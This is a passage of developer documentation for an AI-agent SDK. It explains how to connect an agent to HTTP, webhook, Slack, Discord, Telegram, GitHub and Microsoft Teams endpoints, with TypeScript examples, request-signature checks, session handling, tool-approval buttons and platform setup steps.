(and a warning is logged once), which misses Slack's and Discord's 3-second
deadline on a slow turn.

```ts theme={null}
// Next.js on Vercel (needs @vercel/functions; `agent` and `slack` come from your app)
import { waitUntil } from '@vercel/functions';
const channels = mountFetchChannels(agent, [slack], { waitUntil });

// Bun.serve, Deno.serve or a Node fetch server: the process outlives the response
const channels = mountFetchChannels(agent, [slack], { waitUntil: (turn) => void turn });
```

## Quick start

`httpChannel()` is the reference channel: `{ sessionKey, input }` in, JSON out.

```ts theme={null}
import * as http from 'node:http';
import { createAgent, createMockProvider, httpChannel, mountChannels } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'You are helpful.', provider: createMockProvider() });
const channels = mountChannels(agent, [
  httpChannel({ verify: async (req) => req.headers.authorization === `Bearer ${process.env.API_TOKEN}` }),
]);

const server = http.createServer((req, res) => {
  void channels(req, res).then((handled) => {
    if (!handled) res.writeHead(404).end();
  });
});
server.listen(3000, '127.0.0.1');
```

```bash theme={null}
curl -s localhost:3000/channels/http -H "Authorization: Bearer $API_TOKEN" -H 'Content-Type: application/json' -d '{"sessionKey":"user-42","input":"Hi, I am Ali"}'
# {"sessionId":"http_user-42-...","text":"...","finishReason":"stop"}
```

### Securing the http channel

Sessions are keyed by the `sessionKey` the caller sends, so an `httpChannel()`
without `verify` lets anyone who can reach the port read or continue another
user's conversation by guessing a key. It logs a warning once when created.
Always pass `verify` (a bearer-token check, as above, or your own session
check), bind to `127.0.0.1` unless a proxy or firewall fronts it, and derive
`sessionKey` from the authenticated user rather than trusting the client.

The handler resolves `true` when it served the request and `false` (nothing
written) for any other route, like the `/chat` routes of `lousho dev`, so you
can mount it next to your own routes.

## The contract

`defineChannel({ ... })` checks the name and returns the definition:

| Field | Description |
| - | - |
| `name` | Route segment: `POST <basePath>/<name>`. Letters, digits, `_` and `-`. |
| `verify(req)` | Optional. Authenticate the request (a signature, a token). Return `true`/`false` or `{ ok, reason? }`; `false` answers `401 {"error":"Unauthorized"}` before anything is parsed or run. Without it, a browser request from another site (an `Origin` that is not the request's host, or `Sec-Fetch-Site: cross-site`) is refused with `403` (`LOUSHO_REQUEST_FORBIDDEN`; to accept a page on another site, add a `verify` that authenticates its requests), and `lousho dev` checks its `Host` like its own routes (against DNS rebinding); a webhook sender or a server sends no `Origin` and is not affected. |
| `parse(req, respond, ctx)` | The message: `{ sessionKey, input, metadata?, principal?, replyTo, event? }`; `{ decision: { id, approved?, note?, answer? } }` to resolve a pause this channel's turn stopped on (a button click); or `null` to acknowledge the request without a turn (a bot's own message, a retry). Call `respond(status, body)` to answer before the turn runs (a surface with a short timeout, a handshake). |
| `reply(ctx)` | Deliver the reply: `ctx.text`, plus `inbound`, `sessionId`, `result`, `events`, `approval`, and `respond(status, body)` while the request is still open. |
| `onApproval(ctx)` | Optional. Render a pause (buttons, a form). Default: `reply` with a text prompt in `ctx.text` and the request in `ctx.approval` (`ctx.approvals`: every pending call, when the step paused on several). |
| `onError(error, { channel, stage, sessionId? })` | Optional. Receives failures after the request was already acknowledged (a reply that could not be delivered, a failed turn or approval continuation). Default: `mountChannels({ onError })`, else `console.error` with the channel, stage, session id and SDK error code (never a token). A failed turn also tells the user "Sorry, that request failed." in the conversation (best effort). |
| `stream` | Optional. `true` calls `reply` with `partial: true` and the text so far as the model writes, then once more with the final text. |
| `sessionId(inbound)` | Optional. The session for a message. Default: `` `${name}:${sessionKey}` ``. |

`metadata` is passed to the turn as `send()`'s `metadata` (memory scope
functions, `model` / `instructions` / `tools` functions see it); `principal`
is the turn's verified caller, passed where `send()`'s `principal` goes. Set
`principal` only from data `verify` vouched for.

`ctx` (`ChannelContext`) lets `parse` ask the host instead of keeping state: `ctx.approval(id)` (the pending call), `ctx.sessionId(key)`, `ctx.hasSession(key)` (a session for that key was saved in the `store`) and `ctx.pendingQuestion(key)` (the id of the `ask_question` that key's session waits on, or `undefined`; it also finds a question asked before a restart when sessions, checkpoints and approvals are in durable stores, and binds it to the session so the answer's turn joins the transcript). Call `pendingQuestion` only for a message you return as the answer, `{ decision: { id, answer: text }, inbound }`: the id is handed out once until that answer has run. A `{ decision }` may carry `inbound` (the conversation as the click itself names it, so a pause survives a restart) and `approver` (who decided; passed to `mountChannels({ onDecision })` for your audit log).

`req` is a framework-free `ChannelRequest`: `method`, `url`, `headers`
(lower-case names), `rawBody` (the exact bytes: verify signatures over these,
never over re-serialized JSON), `text` and `native` (the host's request).

A reply that does not call `respond` is followed by `200 {"ok":true}`; a surface
that delivers replies out of band (posting to a chat API) only needs to
acknowledge the request. An error thrown by `verify` or `parse` answers 400
for a `SyntaxError` (bad JSON) and 500 otherwise; a body over 1MB gets 413. A
500 body is only `{ "error": "The request failed. The server log has the
details.", "code"? }`, as on the session routes: the error itself goes to
`onError` (stage `'parse'`), never to the caller. A turn that fails before the
channel acknowledged the request goes to `onError` with stage `'turn'`; when
another process or replica is running that conversation's turn
([`LOUSHO_SESSION_BUSY`](/errors#lousho_session_busy)) the answer is
`409 { "error", "code": "LOUSHO_SESSION_BUSY" }` with a `Retry-After` header,
so the sender can resend shortly. A channel that acknowledges in `parse` (Slack,
Discord, Telegram, Teams, GitHub) keeps its own answer and tells the user the
request failed in the conversation.

```ts theme={null}
import { createAgent, defineChannel, mountChannels } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'You answer text messages.', provider });

interface SmsEvent {
  from: string;
  body: string;
}

const sms = defineChannel<SmsEvent>({
  name: 'sms',
  async verify(req) {
    return req.headers['x-api-key'] === process.env.SMS_API_KEY;
  },
  async parse(req) {
    const event = JSON.parse(req.text) as SmsEvent;
    return { sessionKey: event.from, input: event.body, replyTo: event.from, event };
  },
  async reply({ inbound, text }) {
    console.log(`SMS to ${inbound.event?.from}: ${text}`); // call your SMS API here
  },
});

const handler = mountChannels(agent, [sms], { basePath: '/hooks' }); // POST /hooks/sms
```

## Sessions

Messages with the same `sessionKey` on the same channel share one session, so
the agent sees the earlier exchanges; turns of one session run one at a time.
Session ids allow only `A-Za-z0-9_-`, so an id with other characters (the
default `` `${name}:${sessionKey}` `` always has the `:`) has them replaced by
`_` and a hash of the original appended: `sms:+1555` becomes `sms__1555-<hash>`.
Return a valid id from `sessionId()` to use it unchanged.

Transcripts are kept in `mountChannels(agent, channels, { store })`: a
`SessionStore` or `{ sessions, checkpoints }` such as a `SqliteStore` (pass the
one you gave `createAgent({ store })`). Without `store`, the handler uses the
agent's `createAgent({ store })` when it keeps sessions, so channel turns,
approval continuations, `agent.session({ id })` and `agent.resume(id)` all see
one transcript (this also covers `createDeployedServer` and `LOUSHO_STORE`);
an agent without a session store keeps them in memory.

## Approvals and questions

When a turn pauses on a tool that needs approval, or on an
[`ask_question`](/approvals) call, the handler calls `onApproval` (by default,
`reply` with a prompt such as `Approve send_email {"to":"sam@example.com"}?
(approval id: ...)`). Decide it in one of two ways; the continuation goes back
through the same channel's `reply` (or `onApproval` again, if it pauses again):

* `handler.resolveApproval({ id, approved, note? })` or
  `handler.resolveApproval({ id, answer })` from your code, e.g. a surface's
  button callback. It only decides pauses this process made: after a restart
  (or on another replica) it throws `LOUSHO_APPROVAL_NOT_FOUND`, because it
  does not know which conversation to continue. Use the route below with
  `sessionKey` instead.
* `POST <basePath>/<name>/approvals/<id>` with `{ approved, note? }` or
  `{ answer }`. The channel's `verify` runs first; an id the channel did not
  pause on gets 404. Add `sessionKey` (the conversation's key, as in its
  messages) to decide a pause this process forgot: with durable sessions,
  checkpoints and approvals, the decision is accepted when that
  conversation's turn waits on exactly this approval (else 404), and the
  continuation joins its transcript. In process, a `sessionKey` naming another
  conversation than the one that paused gets 404.

When one model step pauses on several calls (see
[Several calls in one step](/approvals#several-calls-in-one-step)),
`onApproval` is called once per call, in call order: each gets its own
`approval`, all of them get the step's pending calls in `approvals`, and only
the first gets `respond` (the http channel answers with `approval` and
`approvals`). Each call is decided on its own, through either way above, with
the conversation's `sessionKey` after a restart. A decision that leaves other
calls of the step undecided runs nothing and is answered through `reply` with
`Decision recorded. Still waiting on: ...`; the decision on the last one runs
the step and delivers the continuation.

A decision is claimed before `onDecision` runs, so two decisions on one
approval at once (a double click) decide it once: the second gets
`409 { code: 'LOUSHO_APPROVAL_CONFLICT' }` while its request is open, and is
dropped silently once the surface was acknowledged. `resolveApproval()`
throws `LOUSHO_APPROVAL_CONFLICT` for an approval another request is deciding.

```ts theme={null}
import { createAgent, defineChannel, mountChannels } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'You are helpful.', provider, askQuestion: true });

const chat = defineChannel({
  name: 'chat',
  async parse(req) {
    const { room, text } = JSON.parse(req.text) as { room: string; text: string };
    return { sessionKey: room, input: text, replyTo: room };
  },
  async reply({ inbound, text }) {
    console.log(`to room ${String(inbound.replyTo)}: ${text}`);
  },
  async onApproval({ approval }) {
    console.log(`[Approve] [Reject] buttons for ${approval.toolName}, id ${approval.id}`);
  },
});

const channels = mountChannels(agent, [chat]);
// Later, from the button's callback:
await channels.resolveApproval({ id: 'the-approval-id', approved: true });
```

## Built-in channels

| Channel | Request | Response |
| - | - | - |
| `httpChannel({ name?, verify? })` | JSON `{ sessionKey, input }` (`input` a string or content parts); anything else is a 400. Without `verify`, a body sent without `Content-Type: application/json` is a `415` (`LOUSHO_UNSUPPORTED_MEDIA_TYPE`), so a web page cannot post a form to it | `200 { sessionId, text, finishReason }`; when paused, `approval` too and `text` is the prompt |
| `webhookChannel({ secret?, auth?, name?, principal?, fullResult? })` | The JSON body's `input` string, or the whole body; a one-shot session unless the body has a `sessionKey` | `200` with `{ sessionId, text, finishReason, approval? }` (the full `ExecutionResult` with `fullResult: true`) |
| `slackChannel({ signingSecret, botToken, name?, fetch?, approvers?, onError? })` | Slack Events API and interactivity requests (see [Slack](#slack)) | `200` at once; replies are posted in the Slack thread |
| `discordChannel({ publicKey, applicationId, botToken?, name?, fetch?, approvers?, onError? })` | Discord slash-command and button interactions (see [Discord](#discord)) | Deferred ack at once; the reply edits the original response |
| `telegramChannel({ botToken, secretToken, botUsername?, name?, fetch?, approvers?, onError? })` | Telegram bot webhook updates: messages and inline-keyboard taps (see [Telegram](#telegram)) | `200` at once; replies are sent with `sendMessage` as plain text |
| `githubChannel({ webhookSecret, botName, token?, app?, name?, apiUrl?, fetch?, triggers?, approvers?, onError? })` | GitHub issue, pull-request and review comments that mention `@<botName>` (see [GitHub](#github)) | `200` at once; replies are posted as comments in the same thread |
| `teamsChannel({ appId, appPassword, tenantId?, name?, fetch?, approvers?, onError? })` | Microsoft Teams messages and Adaptive Card button presses from an Azure Bot (see [Microsoft Teams](#microsoft-teams)) | `200` at once; replies are posted through the Bot Framework Connector as Markdown |

`webhookChannel({ secret })` checks an HMAC-SHA256 signature of the raw body in
`x-signature-256: sha256=<hex>`; `auth` takes any
[webhook auth](/triggers#webhook-authentication) (HMAC options with
replay protection, bearer token, custom). The checks and the generic 401 are
the same for every webhook. `principal` is a
`(body, req) => Principal | undefined` that names the caller of the turn from
the verified request (the alerting system that sent the hook, an integration
user); `body` is the parsed JSON body, `undefined` when it is not JSON.

```ts theme={null}
import { createAgent, httpChannel, mountChannels, webhookChannel } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'You are helpful.', provider });

const handler = mountChannels(agent, [
  httpChannel({ verify: async (req) => req.headers.authorization === `Bearer ${process.env.API_TOKEN}` }),
  webhookChannel({ secret: process.env.WEBHOOK_SECRET ?? '' }),
]);
```

## In an agent directory

An [agent directory](/agent-directories#channels) can keep its channels in
`channels/*.ts`, one default-exported channel per file. The served route is
`POST /channels/<name>`, with `<name>` the channel's own `name`; the file name
applies only to an export that has none — and every built-in factory sets one
(`webhookChannel()` → `webhook`, `slackChannel()` → `slack`, ...), so a
`channels/support.ts` that exports `webhookChannel()` is served at
`/channels/webhook`, not `/channels/support`. `resolveAgentDir()` returns them
as `channels`, and the node server `lousho build` emits mounts them
(`createDeployedServer(agent, { channels })`, an internal helper).

## Who may approve (Slack and Discord)

Both channels take `approvers`: a list of platform user ids, or a function
`(user: { id, name?, roles? }, { toolName, input, sessionId, principal? }) => boolean | Promise<boolean>`
(Discord fills `roles` with the member's role ids; `principal` is the sender
whose turn paused). The user who clicks is recorded as the approver
(`ctx.approval.by` in the tool, see
[auth](/auth#who-approved)); the tool still runs for the sender. A click from anyone else
does not decide the approval: the user gets an ephemeral "not allowed" message
and the approval stays pending.

**Security note.** Without `approvers`, only the user who started the turn (the
message author on Slack, the command's user on Discord) may approve. In
earlier versions anyone who could see the message could; `approvers: () => true`
restores that, which you should only do in a private channel. A function
`approvers` sees the pending call after a restart too: `ctx.approval(id)` asks
the durable approval store when this process did not pause on the id, so it
decides the same way it did before. Only with a process-local approval store
(the default `InMemoryApprovalStore` - then nothing survives a restart anyway)
does it still fail closed. Answers to an `ask_question` are not restricted: the next message (Slack)
or `/ask` (Discord) in the conversation is the answer. Who decided goes to
`mountChannels(agent, channels, { onDecision({ approver, decision, sessionId, channel }) {} })`.
The Telegram channel takes the same `approvers` (Telegram user ids as strings; a
function gets `{ id, name }`, with `name` the username or first name).

Failures after the acknowledgment go to `onError` (option of the channel, or of
`mountChannels`); see the contract above.

## Slack

`slackChannel({ signingSecret, botToken, name?, fetch? })` connects a Slack app.
Each Slack thread is one session: a mention of the bot starts (or continues)
the session of its thread, keyed by team, channel and the thread's root `ts`;
later messages in a thread that already has a session continue it without a
mention (the session store is asked, so this survives a restart). A direct
message to the bot starts a session keyed on the DM channel. Replies are posted in the thread with `chat.postMessage` (plain
`fetch`, no Slack SDK; pass `fetch` to inject one in tests).

* Every request's signature is checked (`v0` HMAC-SHA256 with Web Crypto,
  five-minute replay window); a failure answers 401.
* The request is answered right away (`200`, or the `url_verification`
  challenge) and the turn runs after the response, within Slack's 3-second
  limit.
* A redelivered event (the same `event_id`, e.g. a retry with
  `X-Slack-Retry-Num`), bot messages (including the bot's own) and the
  `message` copy of a mention are acknowledged and skipped, so a turn never
  runs twice. A retry of an event this process never received (its first
  delivery was lost) runs. Delivery ids are kept in memory for an hour.
* A tool approval is posted in the thread with **Approve** and **Deny**
  buttons; the click resumes the session and the continuation is posted in the
  thread. The clicked message is replaced with the outcome ("Approved by @user"),
  so its buttons disappear. The click carries its channel, thread and the user who
  may decide, so it works after a restart. An `ask_question` is posted as text, and the next message in the
  thread is the answer, also after a restart (see below).

Set up the app at [api.slack.com/apps](https://api.slack.com/apps):

1. **OAuth & Permissions**: bot token scopes `app_mentions:read`, `chat:write`,
   and `channels:history` (plus `groups:history` for private channels) for
   follow-ups without a mention, and `im:history` for direct messages. Install the app and copy the bot token
   (`xoxb-...`).
2. **Event Subscriptions**: Request URL `https://<host>/channels/slack`; bot
   events `app_mention` and `message.channels` (`message.groups` for private
   channels), and `message.im` for direct messages (also enable **Messages Tab**
   in App Home so users can write to the bot).
3. **Interactivity & Shortcuts**: Request URL `https://<host>/channels/slack`
   (the same route).
4. **Basic Information**: copy the signing secret.

```ts theme={null}
import * as http from 'node:http';
import { createAgent, mountChannels, slackChannel } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'You are a helpful Slack bot.', provider });

const channels = mountChannels(agent, [
  slackChannel({
    signingSecret: process.env.SLACK_SIGNING_SECRET ?? '',
    botToken: process.env.SLACK_BOT_TOKEN ?? '',
  }),
]);

http.createServer((req, res) => {
  void channels(req, res).then((handled) => handled || res.writeHead(404).end());
}).listen(3000);
```

Which threads are active comes from the channels' session store (the `store` you pass `mountChannels()`, else the agent's).
Pending approvals are resolved from the click itself. A pending `ask_question`
survives a restart when the session, its checkpoints and the approvals are in
durable stores (for example `mountChannels(agent, channels, { store: sqlite })`
with a `SqliteStore`, and the agent's `approvalStore`): the next message in the
thread is still the answer, the turn continues, and the question, the answer
and the reply are appended to the session transcript. A message in a thread
whose session waits on a tool approval does not decide it; only the buttons
do. A button click after a restart is bound to the thread's session first -
the click must name a thread whose checkpointed turn waits on exactly that
approval - so the continuation is appended to the session transcript, a
replayed click does not run the tool twice, and a click in another thread is
refused.

## Discord

`discordChannel({ publicKey, applicationId, botToken?, name?, fetch? })`
connects a Discord application over the HTTP Interactions endpoint (no gateway
connection, no Discord library; Web Crypto and `fetch` only, so it also runs on
Workers). The expected command is `/ask prompt:<text>`: one string option, and
the `prompt` option (or the first string option) is the message.

* Every request's `X-Signature-Ed25519` / `X-Signature-Timestamp` is verified
  over `timestamp + body`; a missing or bad signature, or a timestamp more
  than five minutes old or more than a minute ahead of local time (a replayed
  request), answers 401, as Discord requires. `PING` is answered with `PONG`.
* A command is acknowledged at once with a deferred response (within Discord's
  3-second limit); the reply then edits the original response
  (`PATCH /webhooks/{applicationId}/{token}/messages/@original`). Text over
  2000 characters continues in follow-up messages.
* Commands in the same channel share one session, keyed by guild and channel
  (and the thread, in a thread).
* A tool approval is posted with **Approve** and **Deny** buttons (only
  `approvers`, by default the command's user, may click them); the click
  resumes the session and the continuation is a follow-up message. The click
  carries the conversation, so it works after a restart. An
  `ask_question` is posted as text, and the next `/ask` in that channel is the
  answer, also after a restart (see below).
* Interaction tokens last 15 minutes, so a reply (or a click) later than that
  fails. `botToken` is reserved for bot REST calls; replies need only the
  interaction token.

Set up the application at
[discord.com/developers/applications](https://discord.com/developers/applications):

1. **General Information**: copy the application id and the public key.
2. **Interactions Endpoint URL**: `https://<host>/channels/discord` (Discord
   sends a signed `PING` when you save it).
3. **Installation**: the `applications.commands` scope is enough (add `bot`
   only if you also want the bot user in the server).
4. Register the command once (a guild command appears immediately; use
   `/applications/{id}/commands` for a global one):

```sh theme={null}
curl -X POST "https://discord.com/api/v10/applications/$APP_ID/guilds/$GUILD_ID/commands"   -H "Authorization: Bot $BOT_TOKEN" -H "Content-Type: application/json"   -d '{"name":"ask","description":"Ask the agent","options":[{"type":3,"name":"prompt","description":"Your message","required":true}]}'
```

```ts theme={null}
import * as http from 'node:http';
import { createAgent, discordChannel, mountChannels } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'You are a helpful Discord bot.', provider });

const channels = mountChannels(agent, [
  discordChannel({
    publicKey: process.env.DISCORD_PUBLIC_KEY ?? '',
    applicationId: process.env.DISCORD_APPLICATION_ID ?? '',
  }),
]);

http.createServer((req, res) => {
  void channels(req, res).then((handled) => handled || res.writeHead(404).end());
}).listen(3000);
```

Pending approvals are resolved from the button click and the approval store. As
on Slack, a pending `ask_question` survives a restart given durable stores for
sessions, checkpoints and approvals: the next `/ask` in the channel is the
answer and the continued turn is appended to the session transcript. A button
click after a restart names its conversation, so it is bound to that session
before the approval is resolved - the continuation joins its transcript, and a
stale or copied click decides nothing.

An [agent directory](/agent-directories)'s `channels/*.ts` files are loaded
as channels too, and the node server mounts them. For your own Slack handler, `verifySlackSignature()` (see [Triggers](/triggers#slack-request-signatures)) checks a request's signature.

## Telegram

`telegramChannel({ botToken, secretToken, botUsername?, name?, fetch?, approvers?, onError? })`
puts an agent behind a Telegram bot over webhooks (no long polling, no Telegram
library; Web Crypto and `fetch` only, so it also runs on Workers).

* Every request's `X-Telegram-Bot-Api-Secret-Token` header is compared with
  `secretToken` in constant time; a missing or wrong value answers 401. The
  channel has no unauthenticated mode, so always pass `secret_token` to
  `setWebhook`.
* The update is acknowledged with `200` at once and the turn runs after, so
  Telegram does not retry the webhook. An update it redelivers anyway (the
  same `update_id`) is acknowledged and not run again; ids are kept in memory
  for an hour.
* In a private chat every text message (or photo or document caption) is a
  message to the agent. In a group or supergroup only a `/ask` command (or
  `/ask@<botUsername>`), a message containing `@<botUsername>`, or a reply to
  one of the bot's own messages wakes the bot; the command and the mention are
  removed from the text and every other message is ignored. Messages from bots
  are ignored. Set `botUsername` (without `@`) to use the group rules that need
  it.
* One session per chat, and one per topic in a forum supergroup. Replies go to
  the same chat and topic, as a reply to the triggering message.
* Replies are plain text (no `parse_mode`), so Markdown from the model cannot
  make Telegram reject the message. Text over 4096 characters is split at line
  breaks into several messages.
* A tool approval is posted with an inline keyboard of **Approve** and
  **Deny**. Only `approvers` (default: the user whose message started the turn)
  may tap them; anyone else gets an alert and the approval stays pending. A tap
  answers the callback, edits the message to append "Approved by ..." or
  "Denied by ..." and remove the keyboard, and the continuation is sent as a new
  message. The tap carries its chat, so it works after a restart. Telegram
  limits `callback_data` to 64 bytes: it holds `a:` or `d:`, the starter's user
  id and the approval id (about 55 bytes). If it would be longer, the starter is
  left out, and then only an `approvers` list or function can approve (the
  default refuses everyone).
* An `ask_question` is sent as text with `force_reply`, and the next message in
  the chat is the answer (in a group it has to be addressed to the bot, which
  replying to the question does).
* Attachments are not read yet: only the text or caption reaches the agent.

Set the bot up with [@BotFather](https://t.me/BotFather):

1. Send `/newbot`, choose a name and a username, and copy the bot token. For
   use in groups, `/setprivacy` decides whether the bot sees every message;
   `/ask`, mentions and replies work either way.
2. Pick a random secret token (1 to 256 characters from `A-Z`, `a-z`, `0-9`,
   `_` and `-`).
3. Register the webhook once, with the bot token in the URL and the secret
   token in the body (keep both out of shell history and logs):

```sh theme={null}
curl -X POST "https://api.telegram.org/bot$TELEGRAM_BOT_TOKEN/setWebhook" -H "Content-Type: application/json" -d '{"url":"https://<host>/channels/telegram","secret_token":"'"$TELEGRAM_SECRET_TOKEN"'","allowed_updates":["message","callback_query"]}'
```

```ts theme={null}
import * as http from 'node:http';
import { createAgent, mountChannels, telegramChannel } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'You are a helpful Telegram bot.', provider });

const channels = mountChannels(agent, [
  telegramChannel({
    botToken: process.env.TELEGRAM_BOT_TOKEN ?? '',
    secretToken: process.env.TELEGRAM_SECRET_TOKEN ?? '',
    botUsername: 'my_agent_bot',
  }),
]);

http.createServer((req, res) => {
  void channels(req, res).then((handled) => handled || res.writeHead(404).end());
}).listen(3000);
```

The bot token is part of every Bot API URL, so the channel builds its error
messages from the method name and status only: the token never reaches
`onError` or the default log line.

Pending approvals are resolved from the tap and the approval store. As on Slack
and Discord, a pending `ask_question` survives a restart given durable stores
for sessions, checkpoints and approvals: the next message in the chat is the
answer and the continued turn is appended to the session transcript. As with a
button click on the other channels, a tap after a restart is checked against
the chat session's checkpointed turn, so the continuation joins the transcript
and a replayed tap does not run the tool twice.

## GitHub

`githubChannel({ webhookSecret, botName, token?, app?, name?, apiUrl?, fetch?, triggers?, approvers?, pullRequestOpened?, onError? })`
lets people summon an agent with `@<botName>` in a GitHub issue, pull-request
or review comment; the agent answers with a comment in the same thread. It reads
the webhooks of a GitHub App (or of one repository) and posts through the REST
API with `fetch` and Web Crypto only (no `node:*` import and no GitHub library),
so it also runs on Workers.

* Every request's `X-Hub-Signature-256` header is checked against the raw body
  with `webhookSecret` (HMAC-SHA256, compared in constant time) before the body
  is parsed; a missing or wrong signature answers 401. The channel has no
  unauthenticated mode.
* The webhook is acknowledged with `200` at once and the turn runs after: GitHub
  waits 10 seconds and does not retry, and a slow reply is posted as a new
  comment. A `ping` is acknowledged without a turn. A redelivery (the same
  `X-GitHub-Delivery`, e.g. "Redeliver" in the app settings) is acknowledged
  and not run again; ids are kept in memory for an hour, which a restart or a
  second replica does not see. Pass `deliveries` (a `DeliveryStore`, whose
  `seen(id)` records an id and resolves whether it was there before) to keep
  them somewhere shared and durable, e.g. Redis `SET NX EX`:

  ```ts theme={null}
  import { githubChannel, type DeliveryStore } from '@lousho/build-ai-agent';

  const seenIds = new Set<string>(); // stands in for Redis or a database table
  const deliveries: DeliveryStore = { seen: (id) => seenIds.has(id) || (seenIds.add(id), false) };
  const github = githubChannel({ webhookSecret: process.env.GITHUB_WEBHOOK_SECRET ?? '', botName: 'my-agent', token: process.env.GITHUB_TOKEN, deliveries });
  ```
* A comment on an issue, on a pull request (the conversation tab) or a review
  comment (on a line of the diff) that contains `@<botName>` as a whole word
  (case-insensitive) starts a turn, with the mention removed from the text. Once
  a thread has a session, every later comment in it is a follow-up and needs no
  mention. Edited and deleted comments, comments by bots (`user.type` is `Bot`),
  by `<botName>[bot]`, by `botLogin` and any comment the channel itself posted
  are ignored, so the agent never answers itself. Other events (issues opened,
  pushes, reactions, check runs) are ignored — except `pull_request`: with
  `pullRequestOpened: true` an `opened` action by a human `triggers` allows
  starts a turn on the PR's own session (`<owner>/<repo>#<number>`, the same
  one its comments share), so a review bot can read a PR the moment it opens.
  `synchronize`, `closed`, `reopened`, bot-opened and untriggered PRs are
  ignored.
* One session per issue or pull request (`<owner>/<repo>#<number>`), and one
  per review thread (a review comment and the replies under it).
* The reply is a new comment: a timeline comment on the issue or pull request,
  or a reply in the review thread. Text over 60,000 characters (GitHub's limit
  is 65,536) is split at line breaks into several comments. Every comment
  carries a hidden marker (an HTML comment) that the channel recognizes.
* A tool approval is a comment with the tool and its arguments in a fenced block
  and the line "Reply `/approve <id>` or `/deny <id>`.". A comment whose
  **first line** is `/approve <id>` or `/deny <id>` (any case) decides it; lines
  after the first are a note for the model. A quote of the prompt, or the
  command anywhere but the first line, decides nothing. The channel answers
  "Approved by @login." or "Denied by @login." and the run continues with a new
  comment. The id is the pending approval's, so an old command (a redelivered
  webhook, or the comment of an approval already decided) cannot decide a later
  approval.
* An `ask_question` is posted as a comment and the next comment in that thread is
  the answer (no mention needed, from anyone `triggers` allows). A pending
  question survives a restart given durable stores for sessions, checkpoints
  and approvals, as on Slack and Discord; the cost is one store lookup for each
  comment that is not a mention in a thread without a session.

**Security note.** A GitHub comment is text written by anyone who can comment on
the repository, which on a public repository is everybody. It is untrusted input
to the agent, like any user message, and can try to steer it (prompt
injection); the issue and pull-request text it refers to is just as untrusted.
Give the agent only tools whose worst use you accept, and keep `needsApproval`
on the ones that write or spend. Two options say who is trusted, and both are
explicit:

* `triggers` (default: everyone who can comment) says who may start a turn or
  answer a question: a list of logins, or a function
  `({ login, association }) => boolean`. On a public repository, restrict it
  (for example to `association` `OWNER`, `MEMBER` or `COLLABORATOR`) unless you
  want strangers to spend your model credits.
* `approvers` says who may `/approve` and `/deny`, and it **defaults closed**:
  without it only a commenter whose `author_association` is `OWNER`, `MEMBER` or
  `COLLABORATOR` may decide. This differs from Slack and Discord on purpose: a
  GitHub thread is visible to everyone who can read the repository, and the
  person who started the turn may be anyone, so the author of the request is not
  trusted to approve it. A refused command gets "@login is not allowed to
  approve this request." and the approval stays pending. With a list of logins
  (case-insensitive), only those users decide, whatever their association. With
  a function `(user, { toolName, input, sessionId }) => boolean`, `user.id` is
  the login and `user.roles` is `[author_association]`.

The association is read from the webhook of the command comment itself, so the
decision is based on what GitHub reported when that comment was written (the
request is authentic because of the signature), not on the membership the
commenter had when the approval was requested: a collaborator who was removed
before posting `/approve` is refused. It is a snapshot taken at the command, not
a live permission check; if a revocation must take effect inside that window,
use `approvers` with a function that asks the GitHub API (for example the
collaborator permission) before it returns `true`. A function `approvers`, as on
the other channels, sees the pending call after a restart too (the durable
approval store is asked), and fails closed only with a process-local approval
store.

Set up a GitHub App:

1. Create the app (Settings, Developer settings, GitHub Apps, New GitHub App).
   Under Webhook, set the URL to `https://<host>/channels/github`, keep it
   active, and choose a long random secret (this is `webhookSecret`).
2. Permissions: Issues read and write, Pull requests read and write. Subscribe
   to the events **Issue comment** and **Pull request review comment**.
3. Generate a private key (GitHub downloads it as a PKCS#1 PEM, `BEGIN RSA PRIVATE KEY`;
   PKCS#8 works too) and note the App ID. Install the app on the repositories it
   should answer in. Every webhook names its installation, and the channel
   exchanges a signed JWT for an installation token for each one and caches it
   until 5 minutes before it expires.
4. `botName` is the app's slug: `@my-agent` in a comment mentions the app
   `my-agent`, which posts as `my-agent[bot]`.

For a single repository you can skip the app: add a repository webhook
(content type `application/json`, the same two events, the same URL and secret)
and pass `token`, a fine-grained personal access token with Issues and Pull
requests read and write on that repository (or a function that returns a
token). Replies are then posted as the token's user, so also pass `botLogin`
with that user's login. Without it, only the channel's hidden marker stops the
agent from answering its own comments.

```ts theme={null}
import * as http from 'node:http';
import { createAgent, githubChannel, mountChannels } from '@lousho/build-ai-agent';

const agent = createAgent({ instructions: 'You answer questions about this repository.', provider });

const channels = mountChannels(agent, [
  githubChannel({
    webhookSecret: process.env.GITHUB_WEBHOOK_SECRET ?? '',
    botName: 'my-agent',
    app: { appId: process.env.GITHUB_APP_ID ?? '', privateKey: process.env.GITHUB_APP_PRIVATE_KEY ?? '' },
    triggers: ({ association }) => ['OWNER', 'MEMBER', 'COLLABORATOR'].includes(association),
  }),
]);

http.createServer((req, res) => {
  void channels(req, res).then((handled) => handled || res.writeHead(404).end());
}).listen(3000);
```

`apiUrl` points the channel at GitHub Enterprise Server
(`https://<host>/api/v3`). The token, the private key and the JWT are never put
in an error message or log line: a failed call is reported to `onError` with the
call and the HTTP status only (`LOUSHO_CHANNEL_REQUEST_FAILED`).

Pending approvals are resolved from the command comment and the approval store.
A pending `ask_question` is kept in memory until the next comment, and survives
a restart given durable stores, as on the other channels. After a restart the
command names its thread, so - given durable checkpoints - it is bound to that
thread's session before the approval is resolved: the continuation is appended
to the session transcript, and an id the thread is not waiting on (decided
already, or the approval of another thread) fails with the generic "Sorry,
that request failed." comment.

## Microsoft Teams

`teamsChannel({ appId, appPassword, tenantId?, name?, fetch?, approvers?, onError? })`
puts an agent behind an Azure Bot in Microsoft Teams: personal chats and
channel mentions start or continue a session, replies go back through the Bot
Framework Connector, and a tool approval is an Adaptive Card with Approve and
Deny buttons. It uses `fetch` and Web Crypto only (no `node:*` import and no Bot
Framework library), so it also runs on Workers.

* Every request must carry a Bot Framework token in `Authorization: Bearer`. It
  is verified before the body is parsed: an RS256 signature checked against
  the key set that the fixed Bot Framework OpenID metadata
  (`https://login.botframework.com/v1/.well-known/openidconfiguration`) points
  to (cached, never taken from a URL inside the token), the issuer
  `https://api.botframework.com`, the audience `appId` and a 5-minute clock
  tolerance. The token's `serviceurl` claim must also equal the activity's
